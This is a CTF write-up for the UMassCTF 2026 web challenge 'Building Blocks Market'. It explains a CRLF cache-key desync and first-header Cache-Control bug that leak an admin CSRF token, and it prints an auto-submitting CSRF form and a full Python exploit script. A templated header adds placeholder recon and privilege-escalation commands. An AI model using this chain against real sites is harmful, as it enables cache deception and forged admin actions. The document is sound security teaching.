← Back to Writeups
HTBN/AWeb

Building Blocks Market

XESXOR8/23/202612 min read
#web#htb#n/a

Building Blocks Market

Platform: Umasscybersec | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: admin_bot_form_autosubmit, cache_key_vs_upstream_path_desync, crlf_path_splitting, cross_site_top_level_form_post, csrf_token_leak_via_cache, first_cache_control_wins, host_scoped_cookie_cross_origin

Summary

Task: a Flask marketplace sits behind nginx and a custom Python cache proxy, while an authenticated Puppeteer admin bot reviews user-submitted URLs. Solution: abuse a CRLF-based cache key/path desync plus first-header-wins Cache-Control parsing to cache the admin submissions page, leak the deterministic admin CSRF token and pending submission id, then use a normal cross-site top-level form POST to approve the submission and unlock /flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: umasscybersec | ID: 20260411_umasscybersec_building_blocks_market
  • Tags: admin_bot, cache_deception, chromium, crlf_injection, csrf, flask, hmac_csrf_token, host_scoped_cookie, nginx, nginx_add_header_ordering, private_network_access, puppeteer, python_basehttp_proxy, samesite_bypass
  • Indicators: cacheability is decided from the full path suffix, but the upstream path is split at %0d%0a, the proxy stores only the first Cache-Control header it sees, the admin renderer sets Cache-Control: public while nginx appends no-store later, the admin page embeds both the CSRF token and approve form actions, the CSRF token is deterministic for admin: hmac(secret, 'admin:<id>')
  • Source: 20260411_umasscybersec_building_blocks_market.md

Foothold

Vulnerability / Misconfiguration

  1. Admin_bot_form_autosubmit
  2. Cache_key_vs_upstream_path_desync
  3. Crlf_path_splitting
  4. Cross_site_top_level_form_post
  5. Csrf_token_leak_via_cache
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • admin_bot_form_autosubmit
  • cache_key_vs_upstream_path_desync
  • crlf_path_splitting
  • cross_site_top_level_form_post
  • csrf_token_leak_via_cache
  • first_cache_control_wins
  • host_scoped_cookie_cross_origin
  • Tags: admin_bot, cache_deception, chromium, crlf_injection, csrf, flask, hmac_csrf_token, host_scoped_cookie, nginx, nginx_add_header_ordering, private_network_access, puppeteer, python_basehttp_proxy, samesite_bypass

Original Writeup

<details><summary>Click to expand original content</summary>

Building Blocks Market — UMassCTF 2026

Overview

This challenge is a great example of a multi-layer web exploit where every layer matters:

  • a Flask marketplace backend
  • an nginx reverse proxy
  • a custom Python cache proxy in front of nginx
  • a Flask admin renderer for moderation
  • a Puppeteer admin bot visiting attacker-controlled URLs

The goal is to make any product public. Once at least one product has is_public=True, /flag returns the flag.

At first glance this looks like a standard admin-bot CSRF problem. It is not. The intended chain is a combination of:

  1. Cache deception through a CRLF-suffixed path,
  2. Broken Cache-Control handling in the custom proxy,
  3. Leakage of the admin CSRF token and pending submission id from a cached admin page,
  4. A cross-site top-level form POST that still carries the admin session cookie.

The flag pun is the whole challenge: do not mess with nginx and Chromium. You need both the nginx/header-ordering side and the Chromium/cookie-navigation side for the exploit to work.

Target behavior

The flag endpoint only checks whether any product has been approved:

@marketplace_bp.route('/flag')
@login_required
def flag():
    has_public_listing = Product.query.filter_by(is_public=True).first() is not None
    if not has_public_listing:
        return "No flag for you :(", 200
    return current_app.config.get('FLAG'), 200

So the real problem is: how do we force an admin approval?

Architecture

The deployed stack is effectively:

attacker/browser
    |
    v
cache_proxy:5555  --->  nginx  --->  backend Flask
                    \->  admin Flask

bot (Puppeteer + Chromium)
    - logs in as admin
    - stores the admin session cookie for http://cache_proxy:5555
    - visits submitted URLs

Two details matter immediately:

  1. The cache proxy is the public entry point,
  2. The admin bot authenticates specifically to http://cache_proxy:5555.

That means if the bot causes something sensitive to be cached there, an external attacker can request the same cache key and recover it.

Root cause analysis

1) Cacheability is decided from the full path suffix

The cache proxy allows caching for some extensions, including .txt:

CACHE_EXTENSIONS = {".css", ".js", ".png", ".jpg", ".jpeg", ".ico", ".svg", ".txt"}

key = self.path.lower()
clean_path = re.split(r'%0d%0a', self.path, flags=re.IGNORECASE)[0]

This is the first bug.

  • key is the entire raw request path.
  • clean_path is what gets forwarded upstream.
  • %0d%0a acts as a delimiter for the upstream path, but not for the cache key.

So a request like:

/admin/submissions.html%0d%0arand.txt

behaves differently in two places:

  • cache key: /admin/submissions.html%0d%0arand.txt
  • upstream request: /admin/submissions.html

This gives us a classic cache key / upstream path desynchronization primitive.

It is not request smuggling. Nothing fancy happens on the wire. The proxy simply uses one string for caching decisions and a different string for forwarding.

2) The proxy only respects the first Cache-Control

The cache proxy stores the first header value it sees for each header name:

if lname not in header_dict:
    header_dict[lname] = value.lower()

Then it decides whether to skip caching based on that first Cache-Control.

That would already be suspicious, but nginx makes it exploitable.

3) The admin renderer says public, nginx appends no-store

For /admin, nginx adds a no-cache policy:

location /admin {
    add_header Cache-Control "no-store, no-cache, must-revalidate";
    proxy_pass http://admin:9999;
}

But the admin Flask app itself returns:

resp.headers['Cache-Control'] = 'public'

So the final response contains both headers, in this order:

  1. Cache-Control: public
  2. Cache-Control: no-store, no-cache, must-revalidate

nginx is doing the right thing for its own model: it appends a header. The custom cache proxy is doing the wrong thing: it only remembers the first Cache-Control, which is public. As a result, the proxy caches a page that absolutely should never be cached.

4) The cached admin page leaks everything needed for approval

The admin submissions page renders approve forms and embeds the CSRF token directly in HTML:

<form method="post" action="{{ backend_url }}/approval/approve/{{ sub.id }}">
    <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
</form>

The token is deterministic for admin:

secret = str(current_app.config.get('SECRET_KEY', '')).encode('utf-8')
msg = f"admin:{current_user.get_id()}".encode('utf-8')
return hmac.new(secret, msg, hashlib.sha256).hexdigest()

We do not need to forge it. We only need to see it once.

The approval endpoint then does exactly what we want:

if current_user.username != 'admin':
    return "Unauthorized - only admin can approve", 403

if not _validate_csrf(form_token):
    return "Invalid CSRF token", 400

product.is_public = True

So once we know:

  • the pending submission id,
  • the admin CSRF token,

we can make the bot approve our own listing.

Exploit chain

Step 1: create a normal product

Register, log in, and create any product. The product starts private.

Step 2: submit a cache-deception URL to the bot

Submit this kind of URL for admin review:

http://cache_proxy:5555/admin/submissions.html%0d%0a<random>.txt

Why this works:

  • the bot visits the URL while authenticated as admin,
  • the cache proxy sees a .txt suffix and considers it cacheable,
  • the proxy forwards only /admin/submissions.html upstream,
  • the admin app returns the real moderation page,
  • the proxy caches that privileged page under our attacker-chosen CRLF-suffixed key.

Using a random suffix avoids colliding with previous attempts.

Step 3: fetch the cached page ourselves

After the bot primes the cache, we request the same path externally:

/admin/submissions.html%0d%0a<random>.txt

Now we receive the cached admin HTML and can extract:

  • the admin CSRF token,
  • the pending submission id from /approval/approve/<id>.

At this point the challenge becomes a CSRF problem, but now we actually have the correct token.

Why the form POST works

This is the second half of the challenge, and also where the biggest false lead came from.

The bot code sets the admin session cookie like this:

await page.setCookie({
    name: 'session',
    value: adminSession.split('=')[1],
    url: BACKEND_URL,
    httpOnly: true,
    secure: false
});

with:

BACKEND_URL = http://cache_proxy:5555

Chromium is launched with:

args: ['--no-sandbox', '--disable-setuid-sandbox',
       '--disable-features=SameSiteByDefaultCookies,CookiesWithoutSameSiteMustBeSecure']

That matters because:

  1. The cookie is host-scoped to cache_proxy,
  2. SameSite-by-default is disabled, so the cookie behaves like legacy unrestricted cookies,
  3. The attack uses a top-level navigation caused by a normal HTML form submission,
  4. Chromium 142 does not block this navigation with PNA in this setup.

So a public attacker page containing:

<form method="POST" action="http://cache_proxy:5555/approval/approve/1">
  <input name="csrf_token" value="LEAKED_TOKEN">
</form>
<script>document.forms[0].submit()</script>

is enough. When the bot opens that page, Chromium submits the form to http://cache_proxy:5555/... with the admin session cookie attached. The backend sees:

  • authenticated admin session,
  • valid CSRF token,
  • our target submission id.

Result: the submission is approved and the product becomes public.

Dead ends and false leads

The hardest part of this challenge was not the cache leak. It was trusting the browser behavior.

Dead endWhy it looked plausibleWhy it was wrong
PNA blocks the cross-site POSTA first test used a cross-site form POST to /register and no new user appearedThat test was invalid because the bot was already authenticated as admin, so /register immediately redirected instead of creating a user
Popup retargeting tricksIf normal POSTs were blocked, browser-navigation tricks might have been neededThey were unnecessary once the /register test was understood correctly
javascript: or DNS-based pivotsUseful in some admin-bot challenges when direct cross-site requests failThe final exploit only needed a plain auto-submitting HTML form
CSRF token forgeryThe token was deterministic HMAC-basedLeakage was easier than forgery because the admin page itself exposed the valid token

The invalid /register test caused a false negative and sent the investigation in the wrong direction. Once that assumption was removed, the exploit simplified dramatically.

Real successful run

This was the successful flow:

[*] register bbm_wvzxrdx6
   -> 302 /login
[*] login
   -> 302 /marketplace
[*] create product
   -> 302 /product/1
[*] submit cache-deception url: http://cache_proxy:5555/admin/submissions.html%0d%0avhw85i.txt
   -> 302 /submission/success/1
[*] wait 12s for bot to prime the cache
[*] fetch cached key /admin/submissions.html%0d%0avhw85i.txt
   -> 200 X-Cache= HIT len= 4792
[*] leaked csrf_token = e0858087452e9745bf41a5496fbc4c49296ac1794b87afe96d2ca1ab169869c9
[*] pending submission ids in cache: ['1']
[*] target submission id = 1
[*] restart attack host with approve form
[*] submit attack url to bot: http://bore.pub:6700/approve?r=gwiqzfb5
   -> 302 /submission/success/2
[*] wait 12s for bot to execute form
[*] check submission status
   -> 400 {"error":"Submission is not pending","status":"approved"}
[*] fetch flag
   FLAG -> 200
UMASS{REDACTED}

The 400 during the status check is actually a success signal: the submission is no longer pending because it has already been approved.

Full exploit

The script below automates the full chain:

#!/usr/bin/env python3
import random
import re
import string
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

import requests


BASE_URL = "http://TARGET"
PUBLIC_HOST = "http://ATTACKER-HOST"


def randstr(n=8):
    return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))


def extract_csrf(html):
    m = re.search(r'name="csrf_token" value="([0-9a-f]{64})"', html)
    if not m:
        raise RuntimeError("csrf token not found")
    return m.group(1)


def extract_pending_ids(html):
    return re.findall(r'/approval/approve/(\d+)', html)


class ApproveHandler(BaseHTTPRequestHandler):
    csrf_token = None
    submission_id = None

    def log_message(self, fmt, *args):
        return

    def do_GET(self):
        body = f"""<!doctype html>
<html>
  <body>
    <form method="POST" action="http://cache_proxy:5555/approval/approve/{self.submission_id}">
      <input type="hidden" name="csrf_token" value="{self.csrf_token}">
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>""".encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)


def start_server(csrf_token, submission_id, host="0.0.0.0", port=8000):
    ApproveHandler.csrf_token = csrf_token
    ApproveHandler.submission_id = submission_id
    httpd = HTTPServer((host, port), ApproveHandler)
    t = threading.Thread(target=httpd.serve_forever, daemon=True)
    t.start()
    return httpd, f"{PUBLIC_HOST}/approve?r={randstr()}"


def submit_for_review(session, product_id, url):
    data = {
        "product_id": str(product_id),
        "url": url,
    }
    r = session.post(f"{BASE_URL}/submission/create", data=data, allow_redirects=False)
    if r.status_code != 302:
        raise RuntimeError(f"submission failed: {r.status_code} {r.text[:200]}")
    return r.headers.get("Location", "")


def main():
    s = requests.Session()
    username = f"bbm_{randstr()}"
    password = "bbm_password"

    print(f"[*] register {username}")
    r = s.post(
        f"{BASE_URL}/register",
        data={"username": username, "password": password},
        allow_redirects=False,
    )
    print("   ->", r.status_code, r.headers.get("Location"))

    print("[*] login")
    r = s.post(
        f"{BASE_URL}/login",
        data={"username": username, "password": password},
        allow_redirects=False,
    )
    print("   ->", r.status_code, r.headers.get("Location"))

    print("[*] create product")
    r = s.post(
        f"{BASE_URL}/product/create",
        data={"name": "brick", "description": "brick", "price": "1"},
        allow_redirects=False,
    )
    print("   ->", r.status_code, r.headers.get("Location"))
    m = re.search(r'/product/(\d+)', r.headers.get("Location", ""))
    if not m:
        raise RuntimeError("product id not found")
    product_id = int(m.group(1))

    suffix = randstr(6)
    poison_url = f"http://cache_proxy:5555/admin/submissions.html%0d%0a{suffix}.txt"
    print(f"[*] submit cache-deception url: {poison_url}")
    loc = submit_for_review(s, product_id, poison_url)
    print("   -> 302", loc)

    print("[*] wait 12s for bot to prime the cache")
    time.sleep(12)

    cache_path = f"/admin/submissions.html%0d%0a{suffix}.txt"
    print(f"[*] fetch cached key {cache_path}")
    r = s.get(f"{BASE_URL}{cache_path}")
    print("   ->", r.status_code, "X-Cache=", r.headers.get("X-Cache"), "len=", len(r.text))
    if r.status_code != 200:
        raise RuntimeError("failed to fetch cached page")

    csrf_token = extract_csrf(r.text)
    pending_ids = extract_pending_ids(r.text)
    if not pending_ids:
        raise RuntimeError("no pending ids found")
    submission_id = pending_ids[0]
    print(f"[*] leaked csrf_token = {csrf_token}")
    print(f"[*] pending submission ids in cache: {pending_ids}")
    print(f"[*] target submission id = {submission_id}")

    print("[*] restart attack host with approve form")
    httpd, attack_url = start_server(csrf_token, submission_id)

    print(f"[*] submit attack url to bot: {attack_url}")
    loc = submit_for_review(s, product_id, attack_url)
    print("   -> 302", loc)

    print("[*] wait 12s for bot to execute form")
    time.sleep(12)

    print("[*] check submission status")
    r = s.post(
        f"{BASE_URL}/approval/approve/{submission_id}",
        data={"csrf_token": csrf_token},
    )
    print("   ->", r.status_code, r.text[:200])

    print("[*] fetch flag")
    r = s.get(f"{BASE_URL}/flag")
    print("   FLAG ->", r.status_code)
    print(r.text)

    httpd.shutdown()


if __name__ == "__main__":
    main()

Why this challenge is neat

Each individual part is understandable, but the full exploit only appears when all of them are combined:

  • a proxy makes cacheability decisions on one string and forwards another,
  • nginx appends a security header instead of replacing one,
  • a custom cache parser trusts the first header only,
  • the admin page exposes a deterministic CSRF token,
  • the bot's cookie model allows a normal cross-site form POST.

Miss any one of those and the exploit breaks.

That is why the flag name is so fitting:

UMASS{REDACTED}

The exploit depends on misunderstanding both of them.

Key indicators

Use this pattern when you see:

  • cacheability based on suffix checks like .txt, .css, or .js
  • path normalization or splitting that happens after the cache key is chosen
  • multiple Cache-Control headers crossing reverse-proxy layers
  • privileged HTML pages that inline CSRF tokens or action URLs
  • admin bots with relaxed SameSite behavior or manually injected cookies
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR